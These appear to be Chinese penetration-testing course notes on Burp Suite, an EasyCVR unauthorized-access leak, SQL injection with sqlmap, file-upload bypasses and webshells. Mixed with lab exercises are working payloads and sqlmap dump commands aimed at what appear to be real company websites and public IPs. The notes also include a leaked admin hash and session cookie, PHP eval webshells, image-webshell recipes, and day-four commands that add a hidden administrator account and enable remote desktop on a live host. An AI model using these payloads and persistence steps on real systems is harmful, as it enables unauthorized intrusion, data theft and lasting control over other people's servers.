第一天

护网行动-漏洞提交

SRC漏洞响应平台
SRC网站汇总
B站

补天
漏洞盒子
国家信息安全漏洞共享平台

WEB静态站点搭建

fofa搜索: title="Get the pikachu"
安装WEB集成环境: PHPStudy 8.1.1.3
数据库 MySQL: PHPStudy 本体的用不了,所以使用本地MySQL

BurpSuite 工作原理

拦截代理,拦截所有通过代理的网络流量。主要拦截http和https协议的流量;
通过拦截,BurpSuite以中间人的方式,可以对客户端请求数据、服务端返回做各种处理,以达到安全评估测试的目的;

步骤一:数据包拦截
点击proxy模块 —> Options标签中可在ProxyListeners配置监听的地址与端口
默认本地的127.0.0.1:8080端口进行监听

步骤二:火狐浏览器中安装代理插件FoxyProxy并配置通往BurpSuite的代理信息

步骤三:
在第二步设置的挂上设置的浏览器代理并访问 http://burpsuite
地址下载证书文件:cacert.der

步骤四:
将下载的der文件导入到浏览器中,使BP能够抓取浏览器发送的HTTPS数据包;
关闭代理并进入浏览器设置页面about:preferences#searchResults搜索证书–>查看证书
在证书颁发机构中导入先前下载的的证书文件,勾选上对应的选项并点击”确定”

攻防实战1-锁群管理系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: username=%e7%ae%a1%e7%90%86%e5%91%98; path=/
Set-Cookie: code=admin; path=/
Set-Cookie: power=1; path=/
Set-Cookie: powerName=%e8%b6%85%e7%ba%a7%e7%ae%a1%e7%90%86%e5%91%98; path=/
X-Powered-By: ASP.NET
Date: Sun, 04 Jan 2026 08:37:44 GMT
Connection: close
Content-Length: 1

0

添加Set-Cookie和末尾的0

攻防实战2-EasyCVR摄像头漏洞

随机在网站后面拼接以下路径如果回显数据则说明存在漏洞….这里我们需要其Password字段的MD5加密值…

1
2
3
4
5
6
7
8
9
10
11
12
# FOfa语法
icon_hash="458134656"
baidu/Google:搜索出来网站网页
Fofa/queke: 搜索出来联网的设备

# 鹰图
web.title="EasyCVR"

# 示例网站
http://183.252.19.120:18000/
http://113.142.138.30/
http://117.184.128.218:18000/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/api/v1/userlist?pageindex=0&pagesize=10

username:easycvr
password:5cdecdb8e87a0db1fe6e35555a870ae5 --> https://www.cmd5.com/

# 密码学
现代密码学:
- 对称加密算法:加密解密使用的是同一个密钥 f(x,z) = y
-加密算法:DES AES RC4
- 非对称加密算法:加密解密使用的是不同一个密钥 加密:公钥 解密:私钥
-加密算法:RSA ECC DH ...
- 哈希函数:MD5 SHA
* 哈希算法是不可逆的/有损压缩
* 不定长的输入能够获取定长的输出
网站用户注册--》明文用户名和密码--》网站通过MD5加密方法对密码进行加密存储到数据库中!
# 哈希函数防护方法:
加盐:md5(明文+随机数=熵) = 密文 --》 存储到本地数据库中/硬编码存放到代码中
加胡椒:md5(明文+随机数=熵) = 密文 --》 存储到远程服务器

古典密码学:莫斯密码 / 凯撒密码(移位密码) / 栅栏密码 / 猪圈密码 /

在登陆页面输入用户名与密码开启BP抓包进行改包….将未授权获取的Password字段的MD5加密值进行替换….放包进行登录成功!

Nuclei脚本使我快乐!!!基于Yaml语言进行漏洞检测,使用Go进行开发!
nuclei.exe -t huijuView-UserInfo.yaml -l urls.txt -stats

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
id: huijuView-UserInfo

info:
name: huijuView-UserInfo
author: Ph9ar
severity: info
description: huijuView-UserInfo-Access
reference:
- https://4pts.online
tags: View

requests:
- raw:
- |+
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=oM0pfTGIR; SECKEY_ABVK=GuSuhXCD8tPLscLNCnMOLyCEoceAz8tivrmqkmtzVHYvyc01DUM8dHbxjadC55x/8HbRs+LYgp5af61FVcWJSQ%3D%3D; BMAP_SECKEY=Du_Hi1tKQ0rq_pfAseEJ3jiHnxuJNmnSCHtGOqbCZwrAhqM3Y3LhY3s4V32X2hBPQ6dK7HIP0oBLwcYs_Y9BWtk-7dBfPsiz_1csSA_7eMjVB4rFVQeVW3M3Q-eGo4TvMG944Mwa-noR13J6oOHjx6Jw1TBQefMsxBsT-yzvDx4dYSh4HeX5YqiZeTKglFQi
Upgrade-Insecure-Requests: 1


matchers-condition: and
matchers:
- type: word
part: body
words:
- Username
- Password
- type: status
status:
- 200

第二天

sql注入

http://49.235.188.138:5004/Less-1/index.php?id=9

SQL注入判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 注入类型判断
数字型注入:直接判断是否存在注入,即在URL后跟上逻辑判断
字符型注入:使用单引号/双引号
运算判断:
id = 1查看页面,默认页面。
id = 2-1,如果它显示的出来的页面和id = 1的页面一样,我们就认为它是数字型。
id = 2-1,如果它显示出来是id = 2的页面,我就认为它是字符型。

# 闭合方式判断
只适用于字符型注入:单个或多个单引号/双引号/小括号/中括号/花括号等..
eg: '--+ "--+ )--+ ))--+ ]--+

# 判断是否存在注入
在闭合后与注释前进行逻辑判断,根据页面返回的结果来进行判断是否执行逻辑判断!
逻辑与 and 1=1 (返回正常页面) --> and 1=2 (返回错误页面,存在注入)
逻辑或 or 1=1 (返回正常页面,存在注入) --> or 1=2 (返回正常页面,存在注入)
逻辑异或 xor 1=1(返回错误页面) --> xor 1=2 (返回正常页面,存在注入)
PS:在后端PHP代码中,严格控制输出代码可能会造成SQL注入无回显的现象即指根据输入的语句页面没有任何变化,或者没有数据库中的内容显示到网页中!

SQL注入流程
确定当前传入参数存在SQL注入漏洞后,可有两种方式进行注入攻击即手工注入与工具半自动化;
初学者需要充分掌握手工注入方法以便在后续存在WAF的情况下进行绕过,而工具半自动化选择掌握SQLmap能够更有效率的实现Web攻击!

1
2
3
4
5
6
7
8
9
10
# 注入流程
0. 判断SQL注入漏洞 --> 引起报错找到闭合与注释
1. 判断字段数 --> order by group by
2. 确定回显点 --> union select 1,2,3
3. 查询数据库相关信息 --> union select 1,@@version,3 @@basedir / database() / user()
4. 查询数据库下的表信息 --> union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() //or 'databasename'

5. 查询表下的字段信息 --> union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
6. 查询字段内容 --> union select 1,2,group_concat(username , password) from users
补充:使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 判断注入
?id=1' //报错
?id=1'--+ //正常
?id=1'and 1=1--+ //正常
?id=1'and 1=2--+ //错误

# 判断字段
?id=1'order by 3--+ //正常
?id=1'order by 4--+ //错误
order by 字段的数量!

SQL语言中,order by 是一个常用的排序语句;默认升序(asc,从小到大)也可指定降序(desc,从大到小)
eg:select * from users order by id desc;
Group by 则是进行分组查询数据,其后面跟列名或字段数;
# 确定回显点
?id=-1'UNION SELECT 1,2,3--+ //2,3位置存在字段内容
union select联合查询的执行条件是前面的是false时才会去执行后面的语句,而id=-1不成立为false..
select * from users union selet 123

# 查询数据库相关信息
?id=-1'UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3--+ //页面显示

# 查询数据库下的表信息
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ //information_schema数据库看以下注解

# 查询表下的字段信息
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //information_schema数据库看以下注解

# 查询字段内容
?id=-1'union select 1,2,group_concat(username ,id , password) from users--+

# 备注
concat(str1,str2) //没有分隔符的连接字符串
concat_ws(str,str2) //含有分隔符的连接字符串
group_concat(str1,str2) //连接一个组的所有字符串,并以逗号分隔每一条数据

漏洞原理:输入的id参数进行SQL注入漏洞

  1. 查询emails表的列名
    ?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’emails’–+
  2. 查询emails表的数据
    ?id=-1’union select 1,2,group_concat(id , email_id) from emails–+

注入知识点-information_schema库
在Mysql数据库5.0版本之后数据库的作用如下:其中information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等;并且在 MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等;
● information_schema:是MySQL自带的数据库,主要保持MySQL数据库服务器的系统信息,比如数据库的名称,数据库表的名称,字段名称,存储权限等。
● performance_schema:是MySQL系统自带的数据库,可以用来监控MySQL的各类性能指标。
● mysql:保存MySQL的权限、参数、对象和状态信息。
● test:测试数据库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# information_schema数据库中三个重要的表(记住)
● information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名
● information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名
● information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名

# 重要字段
schemata表中的 schema_name字段储存的就是数据库的名称(是当前数据库中的所有数据库名称)

tables :表是用于储存所有表名,其中table_schema:字段是数据库名称 而table_name:字段是表名

columns :表是储存字段名称,其中table_schema:字段是数据库名称,而table_name:字段是表名 最后column_name:字段是字段名称

# 查询语句
1. // 通过这条语句可以得到所有的数据库名
2. select schema_name from information_schema.schemata limit 0,1
3.
4. // 通过这条语句可以得到所有的数据表名
5. select table_name from information_schema.tables limit 0,1
6. // 通过这条语句可以得到指定security数据库中的所有表名
7. select table_name from information_schema.tables where table_schema='security'limit 0,1
8.
9. // 通过这条语句可以得到所有的列名
10. select column_name from information_schema.columns limit 0,1
11. // 通过这条语句可以得到指定数据库security中的数据表users的所有列名
12. select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
13.
14. //通过这条语句可以得到指定数据表users中指定列password的数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
15. select password from users limit 0,1

注入知识点-Mysql语句

1
2
3
4
5
6
7
8
9
10
● 查询当前数据库版本:select version();
● 查询当前数据库:select database();
● 查询当前路径:select @@basedir;
● 查询当前数据库用户:select user();
● 查询当前MySQL路径:select @@datadir;
● 查询连接数据库的用户:select session_user();
● 查询服务器的系统版本:select@@Version_compile_os;
● 查询数据库:select schema_name from information_schema.schemata;
● 查询表名:select table_name from information_schema.tables where table_schema='库名' limit 0,1;
● 查询列名:select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1;

SQL注入类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 按照数据类型
1. 数字型
Web 端大概是 `http://xxx.com/news.php?id=1` 这种形式
其注入点 id 类型为数字,所以叫数字型注入点。
这一类的 SQL 语句原型大概为 select * from 表名 where id=1;
2. 字符型
Web 端大概是 `http://xxx.com/news.php?name=admin` 这种形式
其注入点 name 类型为字符类型,所以叫字符型注入点。
这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'。注意多了引号;
3. 搜索型
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;
其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从from表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入;
○ $pwd=$_GET[t]
○ $sql="select * from user where password like '%$pwd%' order by password";
○ 这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
○ 'and 1=1 and '%'='
○ 这样的话这句SQL语句就变成了这样:
○ select * from user where password like '%pwd'and 1=1 and '%'='%' order by password
# 按执行效果
● 布尔盲注(Boolean-based blind SQL injection) :即可以根据返回页面判断条件真假的注入
● 时间盲注(Time-based blind SQL injection) :即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
● 报错注入(Error-based SQL injection) :即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
● 联合注入(UNION query SQL injection):可以使用union的情况下的注入 ;
● 堆叠查询注入(Stacked queries SQL injection):可以同时执行多条语句的执行时的注入;

SQLMap批量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
执行命令
python sqlmap.py -g "inurl:asp?id=" --batch
python sqlmap.py -g "inurl:php?id= 公司|医疗|教育|机构" --batch
python sqlmap.py -g "inurl:php?id= 机构" --batch
python sqlmap.py -g "inurl:jsp?id=" --batch

案例站点
https://www.fenixlight.com.cn/service/index.php?id=13
http://www.jjbearings.com/userabout.php?id=1
http://www.shsuna.com/cn/company.php?id=6
http://www.qlscdy.com/
http://www.lets.com/
https://www.hcyy.com/
https://www.rocketech.cc/
http://www.cntopworld.com/
http://xmskhb.com/
http://www.cnshm.cn/wap/
http://www.rongyigf.com/
https://www.haodeyi.com/
http://cnkmf.com/app/index.php?i=9&c=entry&do=index&m=huam

课堂例子

执行命令
python sqlmap.py -u “http://www.qlscdy.com/content.php?id=199“ –batch
-u 指定待检测的网址 –batch 自动应答SQLMAP工具询问的问题
python sqlmap.py -u “” –batch –dbs //查看所有的数据库
python sqlmap.py -u “” –batch –current-db //查看当前连接的数据库
python sqlmap.py -u “” –batch –tables -D “bdm791321216_db” //查看指定数据库下所有的表
python sqlmap.py -u “” –batch –columns -T “administrator” -D “bdm791321216_db” //查看指定数据库下指定表中的所有字段
python sqlmap.py -u “” –batch –dump -C “AdminID,AdminName,AdminPassword” -T “administrator” -D “bdm791321216_db” //查看指定字段的内容

加密-密码学
古典密码学:莫斯密码 凯撒密码 栅栏密码 …
现代密码学:
对称密码:加密/解密使用的是同一个密钥 AES DES 2DES 3DES RC4 5 6 Skipjack Twofish
非对称密码:加密/解密使用的是不同密钥 RSA Elgama ECC DH
哈希算法:MD5 SHA Hmac RIPEMD
123456 -> 32位固定长度的字符

https://www.rocketech.cc/index.php?id=1

注入实战

目标网站
http://shyute.net/about.php?id=1
http://www.aminter.co.th/news-detail.php?newsid=12
http://bz.u2006.com/HYX10764/mater.php?id=5

攻击姿势
http://www.aminter.co.th/news-detail.php?newsid=12

payload
?id=12 and updatexml(1,concat(0x7e,(select agent_name from ck_agent limit 0,1)),1)–+
?id=12 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = ‘ck_member’ and table_schema=’aminter_aminter’),0x7e),1)–+

搜索语法
inurl:?id=1 USA
inurl:php?id=1 KZ
inurl:php?tid=1 JP
inurl:php?aid=1 RO

测试

python sqlmap.py -u “http://www.cnshm.cn/wap/productshow.php?id=590“ –batch –tables -D “c106db1” –technique=B –hex –tamper=”space2comment,randomcase,versionedkeywords” –user-agent=”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36” –referer=”http://www.cnshm.cn/“ –timeout=30 –retries=5 –delay=3

python sqlmap.py -u “http://www.cnshm.cn/wap/productshow.php?id=590“ –batch –columns -T “en_xd_address” -D “c106db1”

python sqlmap.py -u “https://www.rocketech.cc/index.php?m=home&c=Lists&a=index&tid=1“ –batch
python sqlmap.py -u “https://www.rocketech.cc/index.php?m=home&c=Lists&a=index&tid=1“ –batch –dbs

“C:\Users\86139\Desktop\req.txt”

python sqlmap.py http://192.168.110.39:33639/?id=1 –batch

注册登录功能点注入

步骤一:使用BP抓取登录时产生的数据包!并将数据包的内容存放到req.txt的文本文档中!
步骤二:使用SQLMAP对文档中的HTTP请求数据包进行注入攻击!
python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10
-r 读取文档中的HTTP请求数据包进行注入攻击
–batch 自动应答SQLMAP的问题
–random-agent 在进行SQL注入时产生随机的User-agent的字段信息!
–level 3 请求数据包检测的等级 默认 3 共有5个等级
–threads=10 请求的线程数量,速度越高越快但有可能造成结果的不准确

从你提供的 sqlmap 扫描日志来看,目标系统存在 SQL 注入漏洞,并且已经成功识别出多个注入类型。以下是关键信息的总结与分析:

漏洞确认
注入参数:uname(POST 参数)
后端数据库:MySQL >= 5.5
操作系统:Linux Ubuntu
Web 技术栈:Apache 2.4.7 + PHP 5.5.9

已确认的注入类型

  1. Boolean-based Blind SQLi
    利用逻辑判断(如 AND 1=1 / AND 1=2)推断数据。
    Payload 示例:
    uname=admin’ AND 9808=9808 AND ‘gYyR’=’gYyR

  2. Error-based SQLi
    通过触发数据库错误回显敏感信息(如表名、字段值)。
    利用了 BIGINT UNSIGNED 溢出错误。
    Payload 示例包含 CONCAT 和 ELT 函数提取数据。

  3. Time-based Blind SQLi
    通过 SLEEP() 延迟响应时间判断真假条件。
    Payload 示例:
    uname=admin’ AND (SELECT 8288 FROM (SELECT(SLEEP(5)))LxgT) AND ‘rVtF’=’rVtF

  4. UNION Query-based SQLi
    成功执行 UNION SELECT,确认查询返回 2 列。
    可用于直接读取数据库内容(如用户表、密码哈希等)。
    Payload 使用 CONCAT 拼接十六进制字符串回显数据。

输出结果
所有扫描结果已保存至:
C:\Users\86139\AppData\Local\sqlmap\output\49.235.188.138

  1. 列出所有数据库
    python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10 –dbs
  2. 列出当前数据库的表
    python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10 –tables
  3. 导出特定表的数据(例如 users 表)
    python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10 -D security -T users –dump
  4. 尝试读取系统文件(如 /etc/passwd)
    仅当 MySQL 用户有 FILE 权限时可行
    python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10 –file-read=/etc/passwd
  5. 尝试执行系统命令(需高权限 + 特定条件)
    通常需要 –os-shell,但成功率取决于 MySQL 配置和权限
    python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10 –os-shell

技能树

SQL整数型注入

-1 union select 3,database()
报当前的数据库,发现数据库为sqli,为什么是-1,id要等于不存在的一个数字.

-1 union select 3,group_concat(schema_name) from information_schema.schemata
报所有的数据库

-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"
根据报出的数据库,报表名字

-1 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"
知道了表flag,去报字段,报出flag的字段。

-1 union select 3,group_concat(flag) from sqli.flag
当报出字段,可以直接查询数据

1

获取当前网站数据库的名称
sqlmap.py -u “http://challenge-9fb338bc422c2305.sandbox.ctfhub.com:10800/?id=1“ –current-db

获取sqli数据库中的表名
sqlmap.py -u “http://challenge-9fb338bc422c2305.sandbox.ctfhub.com:10800/?id=1“ -D sqli –tables

获取flag表中的字段名
sqlmap.py -u “http://challenge-9fb338bc422c2305.sandbox.ctfhub.com:10800/?id=1“ -D sqli -T flag -columns

获取flag字段的内容
sqlmap.py -u “http://challenge-9fb338bc422c2305.sandbox.ctfhub.com:10800/?id=1“ -D sqli -T flag -C flag –dump

第三天

WebShell:网站后门,以asp aspx php jsp等后缀格式的文件主要功能提供命令执行的环境,同常配合Webshell管理工具进行使用!中国菜刀/中国蚁剑/冰蝎/哥斯拉..
GetShell:描述获取Webshell过程/动作!
反弹Shell:获取目标主机的cmd/powershell/bash 命令执行环境到攻击者电脑上过程!

第一关

https://github.com/c0ny1/upload-labs

1
<?php @eval($_POST['sec']); ?>

http://110.41.59.234/upload/wgshell.php

蚁剑
添加数据: http://110.41.59.234/upload/wgshell.php
连接密码:sec

第二关

基于 MIME 类型校验的文件上传逻辑
在浏览器中选择 shell.php 上传,用 Burp Suite 拦截 POST 请求。
修改 Content-Type
将请求体中的:Content-Type: application/octet-stream
改为:Content-Type: image/jpeg
放行请求

第三关

本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
绕过方法 1:利用未被过滤的可执行后缀
PHP 支持多种可解析的后缀,而黑名单仅覆盖了部分常见类型。

  • phtml Apache 默认解析为 PHP
  • php3/.php4/.php5 旧版 PHP 解析器支持
  • php7 部分环境支持
  • inc 若被 include 可能执行
  • phar 可触发反序列化漏洞
  • htaccess 可配合多段上传控制解析规则

绕过方法 2:大小写混淆(若未严格处理)
虽然代码中使用了 strtolower(),但如果攻击者使用 双写后缀 或 特殊编码,仍可能绕过:
shell.php.jpg → 实际保存为 shell.php.jpg(安全)
但若存在解析漏洞(如 Nginx 错误配置),可能按 .php 解析
不过本代码已重命名文件(YmdHis + rand + $file_ext),所以双后缀绕过在此无效,因为最终文件名不保留原始名。

绕过方法 3:利用 Windows NTFS 特性(已部分防御)
$file_ext = str_ireplace('::$DATA', '', $file_ext);

绕过方法 4:空字节截断(Null Byte Injection)
在 PHP < 5.3.4 且 magic_quotes_gpc = Off 的环境下,可通过 %00 截断后缀:
文件名:shell.php%00.jpg
提取后缀:.jpg(合法)
实际保存:shell.php(因 %00 被截断)

第四关

绕过方法 1:利用未被包含的冷门 PHP 后缀

  • phar PHP 归档格式,可触发反序列化漏洞(若使用 phar://)
  • inc 若被 include() 包含,可执行代码
  • module Drupal 模块文件,某些环境可执行
  • 无后缀文件 若服务器配置 default_mimetype = application/x-httpd-php,可能直接解析

关键发现:.htaccess 不在黑名单中!
虽然 .htaccess 本身不是脚本后缀,但它是 Apache 的配置文件,可控制目录解析行为。若允许上传 .htaccess,攻击者可:
上传 .htaccess, AddType application/x-httpd-php .jpg
再上传 shell.jpg, <?php @eval($_POST['cmd']); ?>
访问 shell.jpg → 被当作 PHP 执行!

第五关

关键漏洞发现:缺少 strtolower() 导致大小写绕过

若 Web 服务器(如 Apache)配置不区分大小写(默认行为),则 xxx.PHP 会被当作 PHP 脚本执行!

绕过方法:上传 .PHP(全大写)
用户上传文件 shell.PHP
strrchr(‘shell.PHP’, ‘.’) → 返回 .PHP
$deny_ext 中有 .php、.pHp,但没有 .PHP(全大写)
in_array(‘.PHP’, $deny_ext) → false(允许上传)
最终文件保存为 202601061130001234.PHP

验证 Apache 行为:
Apache 在 Windows 和部分 Linux 配置下,文件系统不区分大小写,且 PHP 模块会匹配 .PHP、.PhP 等变体。
即使在 Linux(区分大小写),若 PHP 配置了:

1
2
; php.ini
extension=php.so

或使用 AddHandler 通配,也可能解析 .PHP。

第六关

绕过方法:上传无后缀文件(空后缀)
攻击步骤:
上传一个没有 . 的文件名,例如:shell(注意:不是 shell.,而是完全无点)
代码执行:

1
2
3
$file_ext = strrchr('shell', '.'); // 返回 false(因为找不到 '.')
$file_ext = strtolower(false); // → ""(空字符串)
$file_ext = str_ireplace('::$DATA', '', ""); // → ""

判断:
if (!in_array("", $deny_ext)) { ... }
最终文件路径:
$img_path = UPLOAD_PATH . '/202601061145001234'; // 无后缀!

第七关

本pass禁止上传所有可以解析的后缀!
核心漏洞:直接使用原始文件名 + Windows 特性 = 绕过黑名单
虽然黑名单很全、后缀处理看似严密,但由于未对文件名进行重命名,攻击者可利用 Windows 文件系统特性(尤其是 点号 . 和空格截断)绕过检测。
关键前提:该代码运行在 Windows 系统(或兼容 Windows 行为的服务器)上。

恢复了 trim($_FILES[‘upload_file’][‘name’]) → 防止文件名前后空格绕过;/shell.php (末尾空格)
绕过方法:上传 shell.php.(末尾加点)

第八关

问题在于:deldot() 只删除末尾的一个点!
上传文件名为:shell.php..(末尾有两个 .)

对比你之前的代码,本段代码删除了这一行:
// $file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);
这意味着:可利用 NTFS ADS(Alternate Data Streams)特性绕过!
绕过方法:上传 shell.php::$DATA

第九关

致命缺陷:直接使用原始文件名保存!
核心绕过方法:双写后缀(Double Extension)
由于文件被原样保存,攻击者可利用 Web 服务器解析规则 绕过后缀检测。
攻击步骤(Apache):上传shell.jpg.php

绕过方法:上传 shell.php..(两个点)
上传 shell.php..
deldot(“shell.php..”) → 删除最后一个点 → shell.php.
strrchr(“shell.php.”, ‘.’) → 返回 “.”
“.” 不在 $deny_ext 中 → 允许上传
保存为 UPLOAD_PATH/shell.php..

最佳绕过方案:上传 .user.ini(若未被过滤)
关键发现:.user.ini 不在 $deny_ext 黑名单中!
.user.ini 是 PHP 的用户级配置文件(类似 .htaccess for PHP)
可控制 PHP 行为,例如:auto_prepend_file = shell.jpg
攻击步骤:
上传 shell.jpg,内容为
上传 .user.ini,内容为 auto_prepend_file = shell.jpg
访问任意 PHP 文件(如 index.php)→ 自动包含 shell.jpg → 执行 WebShell!

.user.ini 是 upload-labs Pass-11 的标准解法,而你的 $deny_ext 未包含它!

第十关

致命缺陷:str_ireplace 是全局、无上下文的字符串替换
最佳绕过方案:利用大小写 + 未过滤后缀
但 $deny_ext 全是小写,而 str_ireplace 区分大小写!

绕过方法:上传 shell.pHp
str_ireplace 查找 “php”(小写)
“pHp” ≠ “php” → 不被替换
最终保存为 shell.pHp

第十一关

致命漏洞:$_GET[‘save_path’] 完全可控

核心绕过方法:空字节截断(Null Byte Injection)
原理
在 PHP < 5.3.4 且 magic_quotes_gpc = Off 的环境下,%00(URL 编码的空字节)会被解码为 \x00。
C 语言底层函数(如 move_uploaded_file)遇到 \x00 会截断字符串,后续内容被忽略。

攻击步骤
构造请求:
文件名:shell.jpg(合法后缀)
URL 参数:?save_path=../upload/shell.php%00
拼接路径:$img_path = "../upload/shell.php%00" . "/1220260106140000.jpg";
// 实际为:../upload/shell.php\x00/1220260106140000.jpg
move_uploaded_file 执行时:底层 C 函数读到 \x00 后停止,实际保存路径为:../upload/shell.php
文件内容为 shell.jpg(含 WebShell 代码)
访问 ../upload/shell.php → 成功执行 PHP 代码!

第十二关

与 Pass-11 区别是:上传路径由 $_POST[‘save_path’] 控制,而非 $_GET。
核心绕过方法:空字节截断(Null Byte Injection)
原理(同 Pass-11)
在 PHP < 5.3.4 且 magic_quotes_gpc = Off 的环境下:
%00 在 URL 中会被解码为 \x00(空字节)
C 语言底层函数(如 move_uploaded_file)遇到 \x00 会截断字符串

构造 POST 请求(使用 Burp Suite):
在 save_path 字段填入:../upload/shell.php%00
注意:在 Burp 中直接输入 %00,不要手动改十六进制
Burp 会自动将其编码为 \x00 字节
拼接路径:
$img_path = "../upload/shell.php%00/1220260106143000.jpg";
// 实际内存中为:../upload/shell.php\x00/1220260106143000.jpg
move_uploaded_file 执行时:
底层 C 函数读到 \x00 后停止解析
实际保存路径为:../upload/shell.php
访问 http://target/upload/shell.php → 成功执行 WebShell!

这正是 upload-labs Pass-12 的标准解法1。

绕过原理完全相同,只是数据传输位置不同。
特性 Pass-11 Pass-12
路径参数来源 $_GET[‘save_path’] $_POST[‘save_path’]
利用方式 URL 中传 %00 POST body 中传 %00
Burp 操作 在 URL 栏修改 在 Repeater 的 POST 参数中修改

第十三关

制作图片马

准备图片和包含恶意代码的PHP文件
打开命令提示符:进入两个文件所在的目录。
执行合成命令:copy 1.png/b 2.php/a 3.png
检查结果:生成的3.png文件将包含恶意代码,且依然可以正常显示。

1
2
cmd /c "copy /b yyy.png+wgshell.php syyy.png"   # Windows
cat normal.jpg test.php > shell.jpg # Linux/Mac

上传图片马

许多靶场会对上传图片进行二次渲染(如 GD 库处理),导致末尾代码被清除。
解决方案:将代码插入图片不会被修改的位置

  1. 对于 JPG:
    在 FF D8(文件头)之后、FF D9(文件尾)之前 插入代码
    或利用 注释段(COM Marker: FF FE):
    1FF D8 ... FF FE 00 0C 3C 3F 70 68 70 20 ... FF D9
    其中 3C 3F 70 68 70 = <?php
  2. 对于 PNG:
    在 IHDR 和 IDAT 块之间 插入 tEXt 块(合法文本块)
    或直接在 文件末尾 IEND 之后 添加(部分系统允许)
  3. 对于 GIF:
    在 GIF89a 之后、图像数据之前 插入代码(但可能破坏动画)
    更安全:在 文件末尾 添加(GIF 容错性强)
    最简单方法:先上传一张普通图片,查看是否被二次渲染。若未被修改,则直接末尾追加即可。

上传与利用步骤

  1. 上传图片马
    通过上传接口分别上传 shell.jpg、shell.png、shell.gif
    确保返回的 URL 可访问(如 /upload/shell.jpg)
  2. 利用文件包含漏洞
    假设存在 include.php:
    <?php include($_GET['file']); ?>
    构造请求:
    GET /include.php?file=/upload/shell.jpg HTTP/1.1
  3. 连接 WebShell
    使用蚁剑、冰蝎或 Burp Suite 发送 POST 请求:
    POST /include.php?file=/upload/shell.jpg
    Content-Type: application/x-www-form-urlencoded
    cmd=system('whoami');
    若返回结果(如 www-data),则成功!
    POST /zhuye.php?ovo=/upload/cg.png HTTP/1.1
    cmd=system(‘whoami’);

🚩挖掘

ls -la /
2cat /flag

grep -r “ctfhub{“ /var/www/

第四天

文件上传攻击实战

目标网站:http://437t8126e9.qicp.vip/
执行命令:whoami
查看计算机中的用户:net user
创建用户:net user wg 123@Admin /add
wg:新用户名
123@Admin:强密码(必须包含大小写字母、数字、特殊符号)

将新用户加入“远程桌面用户”组(可选但推荐)
net localgroup "Remote Desktop Users" wg /add
若希望该用户拥有管理员权限(谨慎使用):
net localgroup administrators wg /add

启用远程桌面功能

  1. 通过设置界面(图形化)
    打开 设置(Win + I)→ 系统 → 远程桌面;
    将 “启用远程桌面” 开关设为 开;
    记下下方显示的 PC 名称(后续远程连接时需要)20。
  2. 通过 PowerShell(命令行)
1
2
3
4
5
